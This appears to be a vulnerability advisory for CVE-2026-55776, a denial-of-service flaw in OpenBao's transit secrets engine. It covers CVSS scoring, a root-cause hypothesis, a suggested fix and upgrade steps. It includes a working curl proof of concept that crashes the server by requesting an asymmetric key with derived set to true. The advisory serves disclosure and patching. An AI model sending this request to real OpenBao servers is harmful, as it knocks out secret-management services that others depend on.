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GHSA-8w8f-r2xv-4q4j BIT-openbao-2026-55776 CVE-2026-55776 GO-2026-5267

OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types

Medium Go
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.61%
Chance of exploitation in the next 30 days. Higher than 49.32% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-617 Reachable Assertion
Fix
0.0.0-20260617104123-db57c62602b2
Upgrade github.com/openbao/openbao to this version or later

Description

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.

Mount the transit engine:

 `curl -sS -X POST -H "X-Vault-Token: root" \
   -d '{"type":"transit"}' \
   http://127.0.0.1:8200/v1/sys/mounts/transit`

Trigger the crash:

 `curl -sS -w '\nHTTP %{http_code}\n' -X POST \
   -H "X-Vault-Token: root" \
   -H "Content-Type: application/json" \
   -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
   http://127.0.0.1:8200/v1/transit/keys/some-key-name`

You can try with both JSON or HCL It will crash the entire cluster.

Observed: HTTP 000 curl: (52) Empty reply from server

 $ docker ps -a --filter name=openbao
 STATUS: Exited (2)

Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.

Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

Affected versions

Go

PackageVulnerableFixed in
github.com/openbao/openbao
>= 0.1.0, <= 2.5.4
No fix yet
github.com/openbao/openbao
< 0.0.0-20260617104123-db57c62602b2
0.0.0-20260617104123-db57c62602b2
github.com/openbao/openbao
< 0.0.0-20260617104123-db57c62602b2
>= 0.1.0
0.0.0-20260617104123-db57c62602b2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/openbao/openbao Go → 0.0.0-20260617104123-db57c62602b2

go
go get github.com/openbao/openbao@v0.0.0-20260617104123-db57c62602b2 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-617: Reachable Assertion

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

How to prevent it
  • Implementation: Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)
  • Implementation: Perform input validation on user data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3c-3jw3-4vcr
OpenBao Skips Stricter Deny Policy for LIST operations
Medium Also affects github.com/openbao/openbao
GHSA-34fc-gh42-pj53
OpenBao's Recovery Mode Vulnerable To Token Leakage via Timing Attack
Critical Also affects github.com/openbao/openbao
GHSA-444v-8vxr-p36h
OpenBao Agent Writes Secrets to Stdout
Low Also affects github.com/openbao/openbao
GHSA-59w7-v8rr-pr4p
OpenBao's Templated Policies Allow Privilege Escalation via Wildcard Characters
High Also affects github.com/openbao/openbao
GHSA-mwr2-wmgp-crj6
OpenBao's System Backend allows Unauthorized Management of the containing Namespace
Low Also affects github.com/openbao/openbao
GHSA-c36x-h252-g9x2
OpenBao: Cross-namespace lease revocation/renewal via canonical sys/leases/{revoke,renew} — incomplete fix of CVE-2026-45808
Low Also affects github.com/openbao/openbao
GHSA-6mwx-4547-5vc9
OpenBao: LDAPi ldaputil (wrong escape func)
Medium Also affects github.com/openbao/openbao
GHSA-7j6w-vvw2-5f9c
OpenBao's Kerberos Auth Method Accumulates Unaccessible Tokens
Medium Also affects github.com/openbao/openbao
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